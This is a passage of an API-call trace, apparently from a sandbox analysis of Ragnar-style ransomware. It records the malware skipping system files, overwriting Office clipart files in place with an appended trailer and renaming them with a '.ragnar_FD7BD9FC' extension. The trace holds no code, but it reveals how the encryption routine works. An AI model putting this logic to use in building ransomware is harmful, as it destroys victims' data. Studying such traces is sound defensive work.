[0080.321] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0080.321] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.321] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00045_.WMF" | out: lpString1="BL00045_.WMF") returned="BL00045_.WMF" [0080.321] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned=".WMF" [0080.321] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.321] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="autorun.inf") returned 1 [0080.321] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="boot.ini") returned -1 [0080.321] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="bootfont.bin") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="bootsect.bak") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="bootmgr") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="bootmgr.efi") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="desktop.ini") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="iconcache.db") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="ntldr") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="ntuser.dat") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="ntuser.ini") returned -1 [0080.322] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="thumbs.db") returned -1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.322] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0080.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.323] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7862) returned 1 [0080.323] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ead, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.323] GetProcessHeap () returned 0x580000 [0080.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.323] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.324] VirtualAlloc (lpAddress=0x0, dwSize=0x1eb6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.324] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.324] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.324] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1eb6, lpOverlapped=0x0) returned 1 [0080.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.325] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1eb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.325] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1eb6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1eb6, lpOverlapped=0x0) returned 1 [0080.326] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1eb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.326] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1eb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.326] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.326] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.326] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.326] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.326] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.326] GetProcessHeap () returned 0x580000 [0080.326] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.326] CloseHandle (hObject=0xf4) returned 1 [0080.327] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" [0080.327] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.ragnar_FD7BD9FC" [0080.327] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.327] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0080.327] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.327] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00098_.WMF" | out: lpString1="BL00098_.WMF") returned="BL00098_.WMF" [0080.327] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned=".WMF" [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="autorun.inf") returned 1 [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="boot.ini") returned -1 [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="bootfont.bin") returned -1 [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="bootsect.bak") returned -1 [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="bootmgr") returned -1 [0080.327] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="bootmgr.efi") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="desktop.ini") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="iconcache.db") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="ntldr") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="ntuser.dat") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="ntuser.ini") returned -1 [0080.328] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="thumbs.db") returned -1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.328] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0080.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.328] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1012) returned 1 [0080.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.328] GetProcessHeap () returned 0x580000 [0080.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.328] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.330] VirtualAlloc (lpAddress=0x0, dwSize=0x3f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.331] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3f4, lpOverlapped=0x0) returned 1 [0080.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.331] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.331] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3f4, lpOverlapped=0x0) returned 1 [0080.331] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.331] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.331] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.332] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.332] GetProcessHeap () returned 0x580000 [0080.332] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.332] CloseHandle (hObject=0xf4) returned 1 [0080.332] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" [0080.332] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.ragnar_FD7BD9FC" [0080.332] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0080.333] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.333] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00105_.WMF" | out: lpString1="BL00105_.WMF") returned="BL00105_.WMF" [0080.333] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned=".WMF" [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="autorun.inf") returned 1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="boot.ini") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="bootfont.bin") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="bootsect.bak") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="bootmgr") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="bootmgr.efi") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="desktop.ini") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="iconcache.db") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="ntldr") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="ntuser.dat") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="ntuser.ini") returned -1 [0080.333] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="thumbs.db") returned -1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.333] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0080.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.334] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=880) returned 1 [0080.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.334] GetProcessHeap () returned 0x580000 [0080.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.334] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.346] VirtualAlloc (lpAddress=0x0, dwSize=0x370, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.346] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x370, lpOverlapped=0x0) returned 1 [0080.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.346] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x370, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.346] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x370, lpOverlapped=0x0) returned 1 [0080.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x370, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.346] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.347] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.347] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.347] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.347] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.347] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.347] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.347] GetProcessHeap () returned 0x580000 [0080.347] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.347] CloseHandle (hObject=0xf4) returned 1 [0080.347] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" [0080.347] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.ragnar_FD7BD9FC" [0080.347] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.348] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0080.348] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft 